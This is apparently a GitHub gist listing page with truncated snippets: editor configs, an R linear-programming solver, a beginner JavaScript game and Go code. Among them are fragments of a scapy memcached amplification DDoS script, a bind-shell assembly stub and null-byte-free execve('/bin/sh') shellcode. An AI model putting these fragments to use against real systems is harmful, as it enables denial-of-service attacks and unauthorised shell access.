Skip to content

Instantly share code, notes, and snippets.

View retpolanne's full-sized avatar
🏳️‍⚧️

Anne Isabelle "Anya" Macedo retpolanne

🏳️‍⚧️
View GitHub Profile
from scapy.all import IP, Raw, send, UDP
import sys
cmd = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
memcached_addr = sys.argv[1]
target = sys.argv[2]
iface = sys.argv[3]
packet = IP(
#!/bin/bash
# The directory is different on arch, I'm too lazy to change it.
# install doc-rfc before using it
# https://news.ycombinator.com/item?id=16570470
RFCS_DIR="/usr/share/doc/RFC/"
RFC_QUERIED=$1
echo "$(find $RFCS_DIR -name '*'$RFC_QUERIED'*')" | head -1 | xargs zmore
set nocompatible " be iMproved, required
filetype off " required
" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
" alternatively, pass a path where Vundle should install plugins
"call vundle#begin('~/some/path/here')
" let Vundle manage Vundle, required
@retpolanne
retpolanne / linearprogramming.R
Last active October 28, 2018 23:04
Solver de programação linear para aulas da Fatec
# To run, execute Rscript linearprogramming.R
# based on https://rpubs.com/abhaypadda/linear-optimization-example
library(lpSolve)
# Objective
objective.in <- c(0.06, 0.08)
# Constraint matrix with 3 rows
const.mat <- matrix(c(8, 6, 1, 2, 1, 2), nrow=3, byrow=TRUE)
@retpolanne
retpolanne / batman_vs_snowwhite.js
Created January 4, 2019 00:27
Wow.... I found the first code I've written, back in 2012, thanks to Codecademy.
var confirm1;
confirm1 = confirm("Are you ready to play?");
if(confirm1===true){
var age = prompt("how old are you?");
if (age < 18){
console.log("you are not old enough to play");
}
else{
console.log("You may start your quest!");
}
# bugs - plugs to random port :/
# run netstat -tlnp | grep LISTEN before using
.global _start
.section .text
_start:
# socket syscall
mov $0x66, %eax # syscall 102 - socketcall
mov $1, %ebx # socketcall type 1 - socket
@retpolanne
retpolanne / execve.s
Last active January 4, 2019 00:33
Xors to remove null bytes
.global _start
.section .text
_start:
# execve syscall
xor %eax, %eax
push %eax # null byte for /bin/sh string
push $0x68732f2f # little endian //sh
push $0x6e69622f # little endian /bin
#!/bin/bash
as --32 $1.s -o $1.o
ld -m elf_i386 $1.o -o $1
@retpolanne
retpolanne / node.go
Created February 22, 2019 23:25
The first code I've ever written in Golang :).
package main
import (
"fmt"
)
type Node struct {
Data int
Next_node *Node
}
#!/bin/bash
docker start gdb-docker
docker exec --privileged -it gdb-docker /usr/bin/gdb $1